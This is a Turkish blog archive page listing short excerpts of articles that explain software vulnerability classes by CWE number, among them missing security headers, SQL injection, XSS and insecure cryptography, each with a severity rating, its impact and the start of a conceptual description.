Bu makalede Missing Referrer-Policy Header (CWE-16), yani Eksik Referrer-Policy Başlığı, diğer ifadeyle; Link ve Parametre Gizliliğinin Sağlanmaması açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Bilgi İfşası Açıklığın Açıklaması: Kurum web uygulaması arayüzündeki bir linkten farklı bir web uygulama sunucusuna gidildiğinde kullanıcının mevcut kurum web uygulamasındaki link ve paremetreleri farklı web uygulama sunuc... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 07:54:52'de yazılmıştır.
Missing X-Content-Type-Options Header Açıklığı (CWE-16)
Bu makalede Missing X-Content-Type-Options Header (CWE-16), yani Eksik X-Content-Type-Options Başlığı, diğer bir ifadeyle; XSS (Content-Sniffing) Saldırılarına Karşı Koruma Eksikliği açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Hassas bilgilere yetkisiz erişim, Uzaktan kod çalıştırma Açıklığın Açıklaması: Web tarayıcılar web sunuculardan gelen yanıt paketlerini okurlarken yanıt paketlerindeki Content-Type başlığın... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 08:05:58'de yazılmıştır.
Missing X-Frame-Options Header Açıklığı (CWE-1021)
Bu makalede Missing X-Frame-Options Header (CWE-1021), yani Eksik X-Frame-Options Başlığı, diğer bir ifadeyle; Clickjacking Saldırılarına Karşı KOruma Eksikliği açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Kullanıcılara fark ettirmeden istemediği eylemleri gerçekleştirtme Açıklığın Açıklaması: Clickjacking web site ziyaretçilerinin farkına varmadan farklı bir web sayfa öğesine tıklamaları sonucu yaşanan saldırıla... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 08:18:13'de yazılmıştır.
Missing X-Frame-Options in Spring Açıklığı (CWE-1021)
Bu makalede Missing X-Frame-Options in Spring (CWE-1021), yani Spring Framework'ünde Eksik X-Frame-Options Başlığı açıklığı anlatılacaktır. Açıklık Önem Derecesi: Orta Açıklığın Etkisi: Clickjacking saldırılarına karşı savunmasız kalma Açıklığın Açıklaması: Clickjacking web site ziyaretçilerinin farkına varmadan farklı bir web sayfa öğesine tıklamaları sonucu yaşanan saldırılara denir. Birçok clickjacking saldırı türü vardır. Bunlar arasınd... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 08:39:00'de yazılmıştır.
Not Static Final Logger Açıklığı (CWE-398)
Bu makalede Not Static Final Logger (CWE-398), yani Static Final Olmayan Log Alma Nesnesi, diğer ifadeyle; Güvenli Olmayan Log Alma Nesnesi açıklığı anlatılacktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Log verisi sızıntısı Açıklığın Açıklaması: Nesne yönelimli programlamada "private" belirteci üyelerin (field'ların, metotların veya constructor'ların) yalnızca deklare edildikleri aynı class'da kullanılabileceği kısıtını koyar. Bu be... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 08:49:46'de yazılmıştır.
Not Using a Random IV with CBC Mode Açıklığı (CWE-329)
Bu makalede Not Using a Random IV with CBC Mode (CWE-329), yani CBC Mod ile Rastgele IV Kullanılmaması açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Hassas Bilgilere Yetkisiz Erişim, Gizlilik İhlali Açıklığın Açıklaması: Uygulamalar tahmin edilebilir “CBC Mod için IV (Initilization Vector)” değeri kullandıklarında bu durum güvenlik riski oluşturur. Örneğin oturum id’lerinin tahmin edilebilmesi ve saldırganın otur... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 08:58:46'de yazılmıştır.
Object Hijack Açıklığı (CWE-491)
Bu makalede Object Hijack (CWE-491), yani Nesne Kaçırma açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Bilgi İfşası Açıklığın Açıklaması: Nesne yönelimli programlama dillerinde “nesne kopyalama” var olan bir nesnenin kopyasını oluşturmaya denir. Nesne kopyalama ile kastedilen sıfırdan bir nesne oluşturmak yerine var olan bir nesnenin tüm özelliklerini içeren aynı türden, fakat farklı referanslı bir nesne oluşturmakt... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 09:14:26'de yazılmıştır.
Off By One Error Açıklığı (CWE-193)
Bu makalede Off By One Error (CWE-193), yani Off By One Hatası açıklığı anlatılacaktır. Açıklık Önem Derecesi: [C/C++’da Yüksek] [Java’da Düşük] Açıklığın Etkisi: Servis dışı kalma, uzaktan komut çalıştırma Açıklığın Açıklaması: Değişkenleri bellekte oluştururken boyutunu (size) veya uzunluğunu (length) belirlemede bir kademe sapma sonucu hesaplama hatası çoğu zaman meydana gelebilir. Örneğin döngülerde 2 boyutlu bir dizi alanı tahsis edili... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 09:37:23'de yazılmıştır.
Password in Configuration File Açıklığı (CWE-260) (CWE-313)
Bu makalede Password in Configuration File (CWE-260) (CWE-313), yani Konfigürasyon Dosyasında Açık Metin Parola, diğer bir ifadeyle; Yapılandırma Dosyasında Şifrelenmemiş Parola açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Hassas Bilgilere Yetkisiz Erişim, Bilgi İfşası, Sızma girişimlerinde saldırının boyutunun artması Açıklığın Açıklaması: Uygulama geliştiricileri uygulamalarını daha modüler ve güvenli hale getireb... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 12:45:10'de yazılmıştır.
Overly Permissive Content Security Policy Açıklığı (CWE-346)
Bu makalede Overly Permissive Content Security Policy (CWE-346), yani Aşırı izinli Content SEcurity Policy açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: XSS saldırılarına maruz kalma, Clickjacking saldırılarına maruz kalma, İçerik Sahteciliği saldırılarına maruz kalma Açıklığın Açıklaması: Content-Security-Policy başlığı mevcut web sayfasındaki bir script, bir gömülü child (alt) frame, bir gömülü parent (üst) fram... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 13:25:23'de yazılmıştır.
Persistent Connection String Açıklığı (CWE-257)
Bu makalede Persistent Connection String (CWE-257), yani Kalıcı Bağlantı Dizesi açıklığı anlatılacaktır. Açıklık Önem Derecesi: Orta Açıklığın Etkisi: Hassas Bilgilerin Ele Geçmesi Açıklığın Açıklaması: Bir uygulamayı güvenli hale getirirken veri kaynaklarına erişimi koruma en önemli hedeflerden biridir. Bir veri kaynağına (veritabanına) bağlanmayı sağlayan bağlantı dizesi güvenli hale getirilmemişse potansiyel olarak bir açıklık sunar. Ba... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 13:41:57'de yazılmıştır.
Potential Clickjacking on Legacy Browsers Açıklığı (CWE-693)
Bu makalede Potential Clickjacking on Legacy Browsers (CWE-693), yani Eski Web Tarayıcılar için Clickjacking Önlemi Eksikliği açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Kullanıcı Fark etmeden Kullanıcıya İşlem Yaptırma Açıklığın Açıklaması: Bir web sayfada kullanıcının fare tıkının çalınmasına clickjacking saldırısı adı verilir. Bu saldırıda web sayfa görünmez olarak <iframe>’lenir ve sahte/korsan bir web say... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 14:24:27'de yazılmıştır.
Privacy Violation Açıklığı (CWE-359) (CWE-200)
Bu makalede Privacy Violation (CWE-359) (CWE-200), yani Gizlilik İhlali açıklığı anlatılacaktır. Açıklık Önem Derecesi: Orta Açıklığın Etkisi: Kişisel kullanıcı bilgilerinin yetkisiz aktörlerce görüntülenebilmesi Açıklığın Açıklaması: Uygulamalar tasarımlarına göre kullanıcılarına ait kişisel veriler toplayabilirler, işleyebilirler, depolayabilirler veya farklı bir noktaya gönderebilirler. Bu kişisel verilerin topluca adına PII (Personel Id... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 14:40:44'de yazılmıştır.
Private Array Returned From A Public Method Açıklığı (CWE-495)
Bu makalede Private Array Returned From A Public Method (CWE-495), yani Public Bir Metottan Private Dizi Döndürülmesi açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Private dizinin dışarıdan modifiye edilebilmesi Açıklığın Açıklaması: Class’larda (sınıflarda) dizi veri tipli instance variable’lar (diğer adıyla field’lar, Türkçesiyle sınıf değişkenleri) değişebilir nesnelerdir. Yani bu türden nesneler üzerine yazma ... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 15:43:08'de yazılmıştır.
Public Data Assigned to Private Array Açıklığı (CWE-496)
Bu makalede Public Data Assigned to Private Array (CWE-496), yani Private Diziye Atanmış Public Veri açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Private dizinin dışarıdan modifiye edilebilmesi Açıklığın Açıklaması: Nesne yönelimli programlamalarda private tanımlanmış bir sınıf field (üye) dizisi encapsulation prensibi gereği sadece aynı sınıfın kendi metotları üzerinden erişilebilir ve modifiye edilebilirdir. An... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 16:39:39'de yazılmıştır.
Public Static Field Not Marked Final Açıklığı (CWE-500)
Bu makalede Public Static Field Not Marked Final (CWE-500), yani Public Static Üye Değişkenin Final Olarak Tanımlanmaması açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Saldırı yüzeyinin artması Açıklığın Açıklaması: Bir nesnenin public üye değişkenleri (member fields) harici class’lar tarafından değiştirilebilirdirler. Genellikle nesnelerin üye değişkenlerine harici class’ların doğrudan erişmesi istenmez. Örneğin i... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 16:53:30'de yazılmıştır.
Reflected XSS All Clients Açıklığı (CWE-79)
Bu makalede Reflected XSS All Clients (CWE-79), yani Yansıtılmış Siteler Arası Betik Çalıştırma açıklığı anlatılacaktır. Açıklık Önem Derecesi: Yüksek Açıklığın Etkisi: Kullanıcı hesaplarının çalınması, kullanıcıların ddos saldırılarında bot olarak kullanılması, kullanıcıların oltalama saldırılarına maruz kalması, web sitenin defacement’a maruz kalması Açıklığın Açıklaması: XSS web uygulamalarda kullanıcının uygulama girdi noktasına girmesi... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 17:06:42'de yazılmıştır.
Return Inside Finally Block Açıklığı (CWE-584)
Bu makalede Return Inside Finally Block (CWE-584), yani Finally Blok İçerisinde Return İfadesi Kullanılması açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Dayanıklılık eksikliği Açıklığın Açıklaması: “Try-Finally” blok kullanımlarında - yani catch’in yer almadığı kullanımlarda - try bloğunda bir istisna fırladığında önce finally bloğuna gidilir, ardından istisna bir üst bloğa fırlar veya bu kullanımlarda try bloğund... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 18:14:42'de yazılmıştır.
Serializable Class Containing Sensitive Data Açıklığı (CWE-499)
Bu makalede Serializable Class Containing Sensitive Data (CWE-499), yani Hassas Veri İçeren Serileştirilebilir Sınıf Kullanılması açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Bilgi sızıntısı Açıklığın Açıklaması: Nesne yönelimli programlama dillerinde nesne serileştirme adlı verilen bir mekanizma sunulur. Bu mekanizmaya göre kaynak kodda oluşturulmuş ve RAM’e yerleşmiş bir nesne tüm field’ları (değerleri dahil) ... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 20:05:15'de yazılmıştır.
SQL Injection Açıklığı (CWE-89)
Bu makalede SQL Injection (CWE-89), yani SQL Enjeksiyonu açıklığı anlatılacaktır. Açıklık Önem Derecesi: Kritik Açıklığın Etkisi: Hassas Bilgilere Yetkisiz Erişim, Veri tabanı Üzerinde Keyfi Sorgu Çalıştırma, Sistem Kabuğunda Keyfi Komut Çalıştırma Açıklığın Açıklaması: Uygulamalar verdikleri hizmetin şekline ve kapsamına göre kullanıcılardan değerler alabilirler, bu bilgiler doğrultusunda bir takım bilgiler sunabilirler ve bu bilgiler üzer... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 20:22:05'de yazılmıştır.
Stored Command Argument Injection Açıklığı (CWE-88)
Bu makalede Stored Command Argument Injection (CWE-88), yani Depolu Komut Argümanı Enjeksiyonu açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Komut çalıştırma, tampon taşırma, dizin gezinme, kod çalıştırma Açıklığın Açıklaması: Geliştiriciler uygulamalarında kabuk (shell) komutu çalıştırmak için (yani uygulamalarının dışında harici bir program çalıştırmak için) komutları ve parametre & argümanlarını string (dize) şe... [Devamı]
Bu yazı 25.10.2025 tarihinde, saat 20:47:08'de yazılmıştır.
Stored Log Forging Açıklığı (CWE-117)
Bu makalede Stored Log Forging (CWE-117), yani Depolu Log Taklit Etme açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Uygulama verisini modifiye etme, aktiviteleri gizleme, yetkisiz kod veya komutlar çalıştırma Açıklığın Açıklaması: Uygulamalar bir hata meydana geldiğinde hata ayıklama için veya saldırı meydana geldiğinde gereken aksiyonu belirlemek için log kaydı alma mekanizmalarını kullanırlar. İstemci girdilerini... [Devamı]
Bu yazı 26.10.2025 tarihinde, saat 23:51:25'de yazılmıştır.
Suspicious Comments Açıklığı (CWE-546) (CWE-615)
Bu makalede Suspicious Comments (CWE-546) (CWE-615), yani Şüpheli Yorumlar açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Bilgi ifşası Açıklığın Açıklaması: Uygulamada kaynak kodlar “bir hatanın (bug’ın) varlığını”, “tamamlanmamış bir fonksiyonun ifadesini” veya bir güvenlik zafiyetinin ifadesini içeren yorumlara sahip olabilmekteler. Örneğin; BUG, FIXME, HACK, TODO, LATER, LATER2 gibi ifadelerle yapılması icap ed... [Devamı]
Bu yazı 27.10.2025 tarihinde, saat 00:11:30'de yazılmıştır.
TruffleHog HighEntropy Strings Açıklığı (CWE-798)
Bu makalede TruffleHog HighEntropy Strings (CWE-798), yani TruffleHog Yüksek Entropili Dize Bulunması açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Hassas bilgilere yetkisiz erişim, bilgi ifşası Açıklığın Açıklaması: Kaynak kodlarda ya da yapılandırma dosyalarında gizli dizeler yer verilmesi “TruffleHog Yüksek Entropili Dize Bulunması (CWE-798)” açıklığı olarak ele alınır. TruffleHog yüksek entropili dizeleri kayna... [Devamı]
Bu yazı 27.10.2025 tarihinde, saat 00:18:14'de yazılmıştır.
Unencrypted Web Config File Açıklığı (CWE-312)
Bu makalede Unencrypted Web Config File (CWE-312), yani Şifrelenmemiş Web Config Dosyası açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Bilgi İfşası Açıklığın Açıklaması: ASP.NET web uygulamalarda web.config dosyaları hassas veriler içerebilmektedir. Örneğin servis hesap bilgileri veya bağlantı dizeleri gibi. Bu hassas veriler güvenli bir şekilde depolanmalıdır. Aksi takdirde yerel dosya sistemine sızan bir saldırga... [Devamı]
Bu yazı 27.10.2025 tarihinde, saat 00:28:08'de yazılmıştır.
Unrestricted File Upload Açıklığı (CWE-434)
Bu makalede Unrestricted File Upload (CWE-434), yani Kısıtlanmamış Dosya Yükleme açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Servis Dışı Kalma Açıklığın Açıklaması: Uygulamalarda kullanıcıların sınırsız boyutta dosya kaydetmesine izin verilmesi saldırganların dosya deposunu gereksiz/çöp dosyalarla doldurmasına veya dosya kaydetme işlemini yürüten işleyişi zorlayacak uzun yazma işlemleri gerçekleştirmelerine nede... [Devamı]
Bu yazı 27.10.2025 tarihinde, saat 00:58:19'de yazılmıştır.
Unrestricted File Upload with Dangerous Type Açıklığı (CWE-434)
Bu makalede Unrestricted File Upload with Dangerous Type (CWE-434), yani Tehlikeli Dosya Yükleme açıklığı anlatılacaktır. Açıklık Önem Derecesi: Yüksek Açıklığın Etkisi: Uzaktan kod çalıştırma Açıklığın Açıklaması: Uygulamalar özellik olarak kullanıcılarına dosya yüklemelerine (upload’a) izin verebilirler. Uygulamalar eğer kullanıcılarının yüklediği dosyalarda içerik ve/veya uzantı doğrulama kontrolü uygulamazlarsa bu durum saldırganlara ça... [Devamı]
Bu yazı 27.10.2025 tarihinde, saat 01:05:23'de yazılmıştır.
Unsafe Use of Target Blank Açıklığı (CWE-1022)
Bu makalede Unsafe Use of Target Blank (CWE-1022), yani Güvensiz Target Blank Kullanılması açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Oltalama saldırılarıyla karşı karşıya kalma Açıklığın Açıklaması: Web uygulamalarda html'deki <a> etiketi target="_blank" ile kullanıldığında link tıklaması sonucu açılan sayfa yeni sekmede açılır. Fakat target="_blank" ile açılan sayfalar bir önceki sayfanın window opener nesn... [Devamı]
Bu yazı 27.10.2025 tarihinde, saat 01:21:27'de yazılmıştır.
Unused Variables Açıklığı (CWE-563)
Bu makalede Unused Variables (CWE-563), yani Kullanılmamış Değişkenler açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Kod kalitesinin düşmesi Açıklığın Açıklaması: Bir değişken (variable) / bir nesne değişkeni (instance variable) tanımlandığında veya bir değer atamasına tabi tutulduğunda, fakat sonra hiçbir kapsamda (scope’ta) kullanılmadığında “Kullanılmamış Değişkenler (CWE-563)” açıklığı olarak ele alınır. Bu aç... [Devamı]
Bu yazı 27.10.2025 tarihinde, saat 01:51:40'de yazılmıştır.
Use of Hardcoded Cryptographic Key Açıklığı (CWE-321)
Bu makalede Use of Hardcoded Cryptographic Key (CWE-321), yani Koda Kriptografik Anahtar Yazılması açıklığı anlatılacaktır. Açıklık Önem Derecesi: Orta Açıklığın Etkisi: Hassas Bilgilere Yetkisiz Erişim, Bilgi İfşası, Sızma girişimlerinde saldırının boyutunun artması Açıklığın Açıklaması: Uygulama kaynak kodları hassas verileri şifreleme ve deşifreleme için şifreleme anahtarı kullanabilirler. Bu ihtiyaçtan dolayı gerekli olabilir. Fakat kay... [Devamı]
Bu yazı 27.10.2025 tarihinde, saat 02:35:49'de yazılmıştır.
Use of Non-Cryptographic Random Açıklığı (CWE-330)
Bu makalede Use of Non-Cryptographic Random (CWE-330), yani Kriptografik Olmayan Zayıf PRNG Kullanılması açıklığı anlatılacaktır. Açıklık Önem Derecesi: Orta Açıklığın Etkisi: Yetkisiz Erişim Açıklığın Açıklaması: Uygulama dünyasında oturum jetonları (session token’lar), eposta doğrulama linkleri, captcha gibi birçok alanda sözde rastgele sayı üreteçleri (yani PRNG - Pseudo Random Number Generator) kullanılmaktadır. Sözde rastgele sayı üre... [Devamı]
Bu yazı 27.10.2025 tarihinde, saat 02:53:03'de yazılmıştır.
Use of NullPointerException Catch to Detect Null Pointer Dereference Açıklığı (CWE-395)
Bu makalede Use of NullPointerException Catch to Detect Null Pointer Dereference (CWE-395), yani Null İşaretçi Değeri Kullanımını Saptamak İçin NullPointerException Catch’i Kullanılması açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Kaynak Tüketimi, Servis Dışı Kalma Açıklığın Açıklaması: “Null İşaretçi Değerini Kullanma” piyasada oldukça yaygın bir şekilde uygulamalarda bulunan bir açıklık olarak öne çıkmaktadır. ... [Devamı]
Bu yazı 27.10.2025 tarihinde, saat 03:08:31'de yazılmıştır.
Use of System Exit Açıklığı (CWE-382)
Bu makalede Use of System Exit (CWE-382), yani System.Exit() Kullanılması açıklığı anlatılacaktır. Açıklık Önem Derecesi: Düşük Açıklığın Etkisi: Servis Dışı Kalma Açıklığın Açıklaması: Java uygulamalardaki java.lang.System.exit() metodu Java Virtual Machine’i sonlandırarak mevcut programdan çıkış yapmayı sağlar. Bu metoda argüman olarak 0’dan farklı bir değer verilmesi genellikle anormal sonlandırmayı belirtmek için kullanılır. Java’daki b... [Devamı]
Bu yazı 27.10.2025 tarihinde, saat 03:26:38'de yazılmıştır.

#Arşiv


#Giriş

ID :
Şifre :